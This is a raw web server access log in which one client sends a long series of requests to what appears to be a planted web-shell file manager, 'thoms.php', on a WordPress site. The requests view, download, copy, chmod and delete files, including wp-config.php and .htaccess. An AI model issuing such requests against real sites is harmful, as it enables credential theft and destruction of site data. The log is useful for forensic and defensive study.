45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?p=bestjudy.com.tw&settings=1 HTTP/1.1" 200 11880 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:06 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 12038 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?del=index.php&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?del=readme.html&p=bestjudy.com.tw HTTP/1.1" 200 17354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?dl=readme.html&p=bestjudy.com.tw HTTP/1.1" 200 17353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?del=thoms.php&p=bestjudy.com.tw HTTP/1.1" 200 17354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?del=static-plugins&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=error_log HTTP/1.1" 200 14157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?chmod=wp-load.php&p=bestjudy.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?dl=wp-login.php&p=bestjudy.com.tw HTTP/1.1" 200 17330 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /bestjudy.com.tw HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=license.txt HTTP/1.1" 200 20075 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?del=cgi-bin&p=bestjudy.com.tw HTTP/1.1" 200 17352 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw HTTP/1.1" 200 11464 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-mail.php HTTP/1.1" 200 15346 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?chmod=wp-signup.php&p=bestjudy.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /bestjudy.com.tw/ HTTP/1.1" 404 11020 "https://163.245.207.76/bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13029 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=bestjudy.com.tw HTTP/1.1" 200 11498 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?del=wp-settings.php&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 12205 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?dl=wp-signup.php&p=bestjudy.com.tw HTTP/1.1" 200 17357 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=locoy.php HTTP/1.1" 200 12951 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fmah.php&p=bestjudy.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-activate.php HTTP/1.1" 200 14812 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?dl=thoms.php&p=bestjudy.com.tw HTTP/1.1" 200 17354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=bestjudy.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fsite-settings&p= HTTP/1.1" 200 12197 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p= HTTP/1.1" 200 12208 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:07 -0400] "GET /thoms.php?del=wp-config.php&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?dl=index.php&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?del=wp-blog-header.php&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-settings.php&p=bestjudy.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?chmod=index.php&p=bestjudy.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw HTTP/1.1" 200 11459 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?chmod=readme.html&p=bestjudy.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?chmod=wp-activate.php&p=bestjudy.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=.htaccess HTTP/1.1" 200 12722 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw HTTP/1.1" 200 11458 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?chmod=wp-login.php&p=bestjudy.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw HTTP/1.1" 200 11460 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28755 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?chmod=wp-mail.php&p=bestjudy.com.tw HTTP/1.1" 200 11482 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?dl=wp-config.php&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-trackback.php HTTP/1.1" 200 14088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?chmod=mah.php&p=bestjudy.com.tw HTTP/1.1" 200 11471 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13303 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-config.php HTTP/1.1" 200 13722 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?chmod=site-settings&p=bestjudy.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?chmod=wp-includes&p=bestjudy.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?del=.htaccess&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?dl=wp-activate.php&p=bestjudy.com.tw HTTP/1.1" 200 17346 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?del=wp-comments-post.php&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?del=wp-load.php&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?dl=wp-trackback.php&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13407 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?del=wp-content&p=bestjudy.com.tw HTTP/1.1" 200 17331 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=bestjudy.com.tw HTTP/1.1" 200 11484 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-signup.php HTTP/1.1" 200 22508 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?chmod=static-plugins&p=bestjudy.com.tw HTTP/1.1" 200 11477 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?dl=error_log&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=index.php HTTP/1.1" 200 12047 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-settings.php HTTP/1.1" 200 19462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 13620 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:08 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59173 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?del=license.txt&p=bestjudy.com.tw HTTP/1.1" 200 17357 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=thoms.php HTTP/1.1" 200 11815 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?del=wp-includes&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=bestjudy.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?del=wp-mail.php&p=bestjudy.com.tw HTTP/1.1" 200 17346 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?chmod=.well-known&p=bestjudy.com.tw HTTP/1.1" 200 11479 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?del=wp-trackback.php&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?del=wp-admin&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?chmod=locoy.php&p=bestjudy.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?chmod=thoms.php&p=bestjudy.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?del=error_log&p=bestjudy.com.tw HTTP/1.1" 200 17353 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12025 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p= HTTP/1.1" 200 12197 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw HTTP/1.1" 200 11461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?del=wp-config-sample.php&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?chmod=wp-settings.php&p=bestjudy.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-trackback.php&p=bestjudy.com.tw HTTP/1.1" 200 11463 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?dl=wp-settings.php&p=bestjudy.com.tw HTTP/1.1" 200 17355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 14185 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?chmod=wp-content&p=bestjudy.com.tw HTTP/1.1" 200 11486 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:15:09 -0400] "GET /thoms.php?dl=.htaccess&p=bestjudy.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
